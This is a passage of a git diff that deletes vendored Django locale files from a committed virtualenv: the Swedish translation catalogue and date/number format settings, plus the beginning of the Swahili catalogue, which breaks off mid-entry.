-"[[HH:]MM:]ss[.uuuuuu]." - -msgid "Duration" -msgstr "Tidsspann" - -msgid "Email address" -msgstr "E-postadress" - -msgid "File path" -msgstr "Sökväg till fil" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "Värdet \"%(value)s\" måste vara ett flyttal." - -msgid "Floating point number" -msgstr "Flyttal" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "Värdet \"%(value)s\" måste vara ett heltal." - -msgid "Integer" -msgstr "Heltal" - -msgid "Big (8 byte) integer" -msgstr "Stort (8 byte) heltal" - -msgid "Small integer" -msgstr "Litet heltal" - -msgid "IPv4 address" -msgstr "IPv4-adress" - -msgid "IP address" -msgstr "IP-adress" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "Värdet ”%(value)s” måste vara antingen None, True eller False." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolesk (antingen True, False eller None)" - -msgid "Positive big integer" -msgstr "Positivt stort heltal" - -msgid "Positive integer" -msgstr "Positivt heltal" - -msgid "Positive small integer" -msgstr "Positivt litet heltal" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (upp till %(max_length)s)" - -msgid "Text" -msgstr "Text" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"“%(value)s” har ett ogiltigt format. Det måste vara i formatet HH:MM[:ss[." -"uuuuuu]]." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"Värdet “%(value)s” har det giltiga formatet (HH:MM[:ss[.uuuuuu]]) men det är " -"en ogiltig tid." - -msgid "Time" -msgstr "Tid" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Rå binärdata" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "“%(value)s” är inget giltigt UUID." - -msgid "Universally unique identifier" -msgstr "Globalt unik identifierare" - -msgid "File" -msgstr "Fil" - -msgid "Image" -msgstr "Bild" - -msgid "A JSON object" -msgstr "Ett JSON-objekt" - -msgid "Value must be valid JSON." -msgstr "Värdet måste vara giltig JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "Modell %(model)s med %(field)s %(value)r finns inte." - -msgid "Foreign Key (type determined by related field)" -msgstr "Främmande nyckel (typ bestäms av relaterat fält)" - -msgid "One-to-one relationship" -msgstr "Ett-till-ett-samband" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s relation" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s relationer" - -msgid "Many-to-many relationship" -msgstr "Många-till-många-samband" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Detta fält måste fyllas i." - -msgid "Enter a whole number." -msgstr "Fyll i ett heltal." - -msgid "Enter a valid date." -msgstr "Fyll i ett giltigt datum." - -msgid "Enter a valid time." -msgstr "Fyll i en giltig tid." - -msgid "Enter a valid date/time." -msgstr "Fyll i ett giltigt datum/tid." - -msgid "Enter a valid duration." -msgstr "Fyll i ett giltigt tidsspann." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "Antalet dagar måste vara mellan {min_days} och {max_days}." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ingen fil skickades. Kontrollera kodningstypen i formuläret." - -msgid "No file was submitted." -msgstr "Ingen fil skickades." - -msgid "The submitted file is empty." -msgstr "Den skickade filen är tom." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Säkerställ att filnamnet har som mest %(max)d tecken (den har %(length)d)." -msgstr[1] "" -"Säkerställ att filnamnet har som mest %(max)d tecken (den har %(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"Var vänlig antingen skicka en fil eller markera kryssrutan för att rensa, " -"inte både och. " - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Ladda upp en giltig bild. Filen du laddade upp var antingen ingen bild eller " -"en korrupt bild." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "" -"Välj ett giltigt alternativ. %(value)s finns inte bland tillgängliga " -"alternativ." - -msgid "Enter a list of values." -msgstr "Fyll i en lista med värden." - -msgid "Enter a complete value." -msgstr "Fyll i ett fullständigt värde." - -msgid "Enter a valid UUID." -msgstr "Fyll i ett giltigt UUID." - -msgid "Enter a valid JSON." -msgstr "Fyll i ett giltigt JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Gömt fält %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm-data saknas eller har manipulerats. Saknade fält: " -"%(field_names)s. Du kan behöva lämna in en felrapport om problemet kvarstår." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "Vänligen skicka som mest %(num)d formulär." -msgstr[1] "Vänligen skicka som mest %(num)d formulär." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Vänligen skicka minst %(num)d formulär." -msgstr[1] "Vänligen skicka minst %(num)d formulär." - -msgid "Order" -msgstr "Sortering" - -msgid "Delete" -msgstr "Radera" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Var vänlig korrigera duplikatdata för %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "Var vänlig korrigera duplikatdata för %(field)s, som måste vara unik." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Var vänlig korrigera duplikatdata för %(field_name)s som måste vara unik för " -"%(lookup)s i %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Vänligen korrigera duplikatvärdena nedan." - -msgid "The inline value did not match the parent instance." -msgstr "Värdet för InlineForeignKeyField motsvarade inte dess motpart." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Välj ett giltigt alternativ. Det valet finns inte bland tillgängliga " -"alternativ." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "“%(pk)s” är inte ett giltigt värde." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s kunde inte tolkas i tidszonen %(current_timezone)s; det kan " -"vara en ogiltig eller tvetydigt tidpunkt." - -msgid "Clear" -msgstr "Rensa" - -msgid "Currently" -msgstr "Nuvarande" - -msgid "Change" -msgstr "Ändra" - -msgid "Unknown" -msgstr "Okänt" - -msgid "Yes" -msgstr "Ja" - -msgid "No" -msgstr "Nej" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "ja,nej,kanske" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d byte" -msgstr[1] "%(size)d byte" - -#, python-format -msgid "%s KB" -msgstr "%s kB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "e.m." - -msgid "a.m." -msgstr "f.m." - -msgid "PM" -msgstr "FM" - -msgid "AM" -msgstr "EM" - -msgid "midnight" -msgstr "midnatt" - -msgid "noon" -msgstr "middag" - -msgid "Monday" -msgstr "måndag" - -msgid "Tuesday" -msgstr "tisdag" - -msgid "Wednesday" -msgstr "onsdag" - -msgid "Thursday" -msgstr "torsdag" - -msgid "Friday" -msgstr "fredag" - -msgid "Saturday" -msgstr "lördag" - -msgid "Sunday" -msgstr "söndag" - -msgid "Mon" -msgstr "mån" - -msgid "Tue" -msgstr "tis" - -msgid "Wed" -msgstr "ons" - -msgid "Thu" -msgstr "tors" - -msgid "Fri" -msgstr "fre" - -msgid "Sat" -msgstr "lör" - -msgid "Sun" -msgstr "sön" - -msgid "January" -msgstr "januari" - -msgid "February" -msgstr "februari" - -msgid "March" -msgstr "mars" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "maj" - -msgid "June" -msgstr "juni" - -msgid "July" -msgstr "juli" - -msgid "August" -msgstr "augusti" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "maj" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "feb" - -msgctxt "abbrev. month" -msgid "March" -msgstr "mars" - -msgctxt "abbrev. month" -msgid "April" -msgstr "april" - -msgctxt "abbrev. month" -msgid "May" -msgstr "maj" - -msgctxt "abbrev. month" -msgid "June" -msgstr "juni" - -msgctxt "abbrev. month" -msgid "July" -msgstr "juli" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aug" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "sep" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "dec" - -msgctxt "alt. month" -msgid "January" -msgstr "januari" - -msgctxt "alt. month" -msgid "February" -msgstr "februari" - -msgctxt "alt. month" -msgid "March" -msgstr "mars" - -msgctxt "alt. month" -msgid "April" -msgstr "april" - -msgctxt "alt. month" -msgid "May" -msgstr "maj" - -msgctxt "alt. month" -msgid "June" -msgstr "juni" - -msgctxt "alt. month" -msgid "July" -msgstr "juli" - -msgctxt "alt. month" -msgid "August" -msgstr "augusti" - -msgctxt "alt. month" -msgid "September" -msgstr "september" - -msgctxt "alt. month" -msgid "October" -msgstr "oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "november" - -msgctxt "alt. month" -msgid "December" -msgstr "december" - -msgid "This is not a valid IPv6 address." -msgstr "Detta är inte en giltig IPv6 adress." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "eller" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d år" -msgstr[1] "%(num)d år" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d månad" -msgstr[1] "%(num)d månader" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d vecka" -msgstr[1] "%(num)d veckor" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dag" -msgstr[1] "%(num)d dagar" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d timme" -msgstr[1] "%(num)d timmar" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minut" -msgstr[1] "%(num)d minuter" - -msgid "Forbidden" -msgstr "Otillåtet" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF-verifikation misslyckades. Förfrågan avbröts." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Du ser detta meddelande eftersom denna HTTPS-sida kräver att en “Referer " -"header” skickas från din webbläsare, men ingen skickades. Denna header krävs " -"av säkerhetsskäl, för att säkerställa att din webbläsare inte kapats." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Om 'Referer' headers är inaktiverade i din webbläsare, vänligen återaktivera " -"dem, åtminstone för denna sida, eller för HTTPS-anslutningar eller för 'same-" -"origin'-förfrågningar." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Om du använder -taggen eller " -"har med ”Referrer-Policy: no-referrer”, ta bort dem. CSRF-skyddet kräver " -"”Referer” för att kunna göra sin strikta kontroll. Om du oroar dig över din " -"integritet, använd alternativ såsom för länkar " -"till tredjepart." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Du ser detta meddelande eftersom denna sida kräver en CSRF-cookie när " -"formulär skickas. Denna cookie krävs av säkerhetsskäl, för att säkerställa " -"att din webbläsare inte kapats." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Om cookies är inaktiverade i din webbläsare, vänligen återaktivera dem, " -"åtminstone för denna sida eller för “same-origin”-förfrågningar." - -msgid "More information is available with DEBUG=True." -msgstr "Mer information är tillgänglig med DEBUG=True." - -msgid "No year specified" -msgstr "Inget år angivet" - -msgid "Date out of range" -msgstr "Datum är utanför intervallet" - -msgid "No month specified" -msgstr "Ingen månad angiven" - -msgid "No day specified" -msgstr "Ingen dag angiven" - -msgid "No week specified" -msgstr "Ingen vecka angiven" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Inga %(verbose_name_plural)s är tillgängliga" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Framtida %(verbose_name_plural)s är inte tillgängliga eftersom " -"%(class_name)s.allow_future är False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "Ogiltig datumsträng “%(datestr)s” med givet format “%(format)s”" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Hittade inga %(verbose_name)s som matchar frågan" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Sidan är inte 'last', och kan inte heller omvandlas till en int." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Ogiltig sida (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Tom lista och '%(class_name)s.allow_empty' är False." - -msgid "Directory indexes are not allowed here." -msgstr "Kataloglistningar är inte tillåtna här." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "\"%(path)s\" finns inte" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Innehåll i %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Installationen lyckades! Grattis!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Visa release notes för Django %(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Du ser den här sidan eftersom DEBUG=True i din settings-fil och du har inte " -"konfigurerat några URL:er." - -msgid "Django Documentation" -msgstr "Djangodokumentation" - -msgid "Topics, references, & how-to’s" -msgstr "Ämnen, referenser och how-to’s" - -msgid "Tutorial: A Polling App" -msgstr "Tutorial: En undersöknings-app" - -msgid "Get started with Django" -msgstr "Kom igång med Django" - -msgid "Django Community" -msgstr "Djangos community" - -msgid "Connect, get help, or contribute" -msgstr "Kontakta, begär hjälp eller bidra" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sv/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/sv/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sv/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sv/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 2029e69e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sv/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sv/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sv/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 9f6be593..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sv/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sv/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/sv/formats.py deleted file mode 100644 index 29e63173..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sv/formats.py +++ /dev/null @@ -1,35 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j F Y H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "Y-m-d" -SHORT_DATETIME_FORMAT = "Y-m-d H:i" -FIRST_DAY_OF_WEEK = 1 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# Kept ISO formats as they are in first position -DATE_INPUT_FORMATS = [ - "%Y-%m-%d", # '2006-10-25' - "%m/%d/%Y", # '10/25/2006' - "%m/%d/%y", # '10/25/06' -] -DATETIME_INPUT_FORMATS = [ - "%Y-%m-%d %H:%M:%S", # '2006-10-25 14:30:59' - "%Y-%m-%d %H:%M:%S.%f", # '2006-10-25 14:30:59.000200' - "%Y-%m-%d %H:%M", # '2006-10-25 14:30' - "%m/%d/%Y %H:%M:%S", # '10/25/2006 14:30:59' - "%m/%d/%Y %H:%M:%S.%f", # '10/25/2006 14:30:59.000200' - "%m/%d/%Y %H:%M", # '10/25/2006 14:30' - "%m/%d/%y %H:%M:%S", # '10/25/06 14:30:59' - "%m/%d/%y %H:%M:%S.%f", # '10/25/06 14:30:59.000200' - "%m/%d/%y %H:%M", # '10/25/06 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "\xa0" # non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sw/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/sw/LC_MESSAGES/django.mo deleted file mode 100644 index 449d588e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sw/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sw/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/sw/LC_MESSAGES/django.po deleted file mode 100644 index 273893d8..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sw/LC_MESSAGES/django.po +++ /dev/null @@ -1,1221 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Machaku, 2015 -# Machaku, 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Swahili (http://www.transifex.com/django/django/language/" -"sw/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sw\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Kiafrikaani" - -msgid "Arabic" -msgstr "Kiarabu" - -msgid "Asturian" -msgstr "" - -msgid "Azerbaijani" -msgstr "Kiazerbaijani" - -msgid "Bulgarian" -msgstr "Kibulgaria" - -msgid "Belarusian" -msgstr "Kibelarusi" - -msgid "Bengali" -msgstr "Kibengali" - -msgid "Breton" -msgstr "Kibretoni" - -msgid "Bosnian" -msgstr "Kibosnia" - -msgid "Catalan" -msgstr "Kikatalani" - -msgid "Czech" -msgstr "Kicheki" - -msgid "Welsh" -msgstr "Kiweli" - -msgid "Danish" -msgstr "Kideni" - -msgid "German" -msgstr "Kijerumani" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Kigiriki" - -msgid "English" -msgstr "Kiingereza" - -msgid "Australian English" -msgstr "Kiingereza cha Kiaustalia" - -msgid "British English" -msgstr "Kiingereza cha Uingereza" - -msgid "Esperanto" -msgstr "Kiesperanto" - -msgid "Spanish" -msgstr "Kihispania" - -msgid "Argentinian Spanish" -msgstr "Kihispania cha Argentina" - -msgid "Colombian Spanish" -msgstr "" - -msgid "Mexican Spanish" -msgstr "Kihispania cha Mexico" - -msgid "Nicaraguan Spanish" -msgstr "Kihispania cha Nikaragua" - -msgid "Venezuelan Spanish" -msgstr "Kihispania cha Kivenezuela" - -msgid "Estonian" -msgstr "Kiestonia" - -msgid "Basque" -msgstr "Kibaskyue" - -msgid "Persian" -msgstr "Kipershia" - -msgid "Finnish" -msgstr "Kifini" - -msgid "French" -msgstr "Kifaransa" - -msgid "Frisian" -msgstr "Kifrisi" - -msgid "Irish" -msgstr "Kiairishi" - -msgid "Scottish Gaelic" -msgstr "" - -msgid "Galician" -msgstr "Kigalatia" - -msgid "Hebrew" -msgstr "Kiyahudi" - -msgid "Hindi" -msgstr "Kihindi" - -msgid "Croatian" -msgstr "Kikroeshia" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Kihangaria" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "" - -msgid "Indonesian" -msgstr "Kiindonesia" - -msgid "Ido" -msgstr "" - -msgid "Icelandic" -msgstr "Kiaiselandi" - -msgid "Italian" -msgstr "Kiitaliano" - -msgid "Japanese" -msgstr "Kijapani" - -msgid "Georgian" -msgstr "Kijiojia" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Kizakhi" - -msgid "Khmer" -msgstr "Kihema" - -msgid "Kannada" -msgstr "Kikanada" - -msgid "Korean" -msgstr "Kikorea" - -msgid "Luxembourgish" -msgstr "" - -msgid "Lithuanian" -msgstr "Kilithuania" - -msgid "Latvian" -msgstr "Kilatvia" - -msgid "Macedonian" -msgstr "Kimacedonia" - -msgid "Malayalam" -msgstr "Kimalayalam" - -msgid "Mongolian" -msgstr "Kimongolia" - -msgid "Marathi" -msgstr "" - -msgid "Burmese" -msgstr "" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Kinepali" - -msgid "Dutch" -msgstr "Kidachi" - -msgid "Norwegian Nynorsk" -msgstr "Kinynorki cha Kinorwei" - -msgid "Ossetic" -msgstr "" - -msgid "Punjabi" -msgstr "Kipanjabi" - -msgid "Polish" -msgstr "Kipolishi" - -msgid "Portuguese" -msgstr "Kireno" - -msgid "Brazilian Portuguese" -msgstr "Kireno cha Kibrazili" - -msgid "Romanian" -msgstr "Kiromania" - -msgid "Russian" -msgstr "Kirusi" - -msgid "Slovak" -msgstr "Kislovakia" - -msgid "Slovenian" -msgstr "Kislovenia" - -msgid "Albanian" -msgstr "Kialbania" - -msgid "Serbian" -msgstr "Kiserbia" - -msgid "Serbian Latin" -msgstr "Kilatini cha Kiserbia" - -msgid "Swedish" -msgstr "Kiswidi" - -msgid "Swahili" -msgstr "Kiswahili" - -msgid "Tamil" -msgstr "Kitamili" - -msgid "Telugu" -msgstr "kitegulu" - -msgid "Thai" -msgstr "Kithai" - -msgid "Turkish" -msgstr "Kituruki" - -msgid "Tatar" -msgstr "Kitatari" - -msgid "Udmurt" -msgstr "" - -msgid "Ukrainian" -msgstr "Kiukreni" - -msgid "Urdu" -msgstr "Kiurdu" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Kivietinamu" - -msgid "Simplified Chinese" -msgstr "Kichina Kilichorahisishwa" - -msgid "Traditional Chinese" -msgstr "Kichina Asilia" - -msgid "Messages" -msgstr "" - -msgid "Site Maps" -msgstr "" - -msgid "Static Files" -msgstr "" - -msgid "Syndication" -msgstr "" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Ingiza thamani halali" - -msgid "Enter a valid URL." -msgstr "Ingiza URL halali." - -msgid "Enter a valid integer." -msgstr "Ingiza namba halali" - -msgid "Enter a valid email address." -msgstr "Ingiza anuani halali ya barua pepe" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Ingiza anuani halali ya IPV4" - -msgid "Enter a valid IPv6 address." -msgstr "Ingiza anuani halali ya IPV6" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Ingiza anuani halali za IPV4 au IPV6" - -msgid "Enter only digits separated by commas." -msgstr "Ingiza tarakimu zilizotenganishwa kwa koma tu." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Hakikisha thamani hii ni %(limit_value)s (ni %(show_value)s)." - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Hakikisha thamani hii ni ndogo kuliko au sawa na %(limit_value)s." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Hakikisha thamani hii ni kubwa kuliko au sawa na %(limit_value)s." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -msgstr[1] "" - -msgid "Enter a number." -msgstr "Ingiza namba" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "" -msgstr[1] "" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "na" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "" - -msgid "This field cannot be null." -msgstr "Uga huu hauwezi kuwa hauna kitu." - -msgid "This field cannot be blank." -msgstr "Uga huu hauwezi kuwa mtupu" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "Tayari kuna %(field_label)s kwa %(model_name)s nyingine." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Uga wa aina %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Buleani (Aidha Kweli au Si kweli)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Tungo (hadi %(max_length)s)" - -msgid "Comma-separated integers" -msgstr "Inteja zilizotengwa kwa koma" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Tarehe (bila ya muda)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Tarehe (pamoja na muda)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Namba ya desimali" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "" - -msgid "Email address" -msgstr "Anuani ya baruapepe" - -msgid "File path" -msgstr "Njia ya faili" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Namba ya 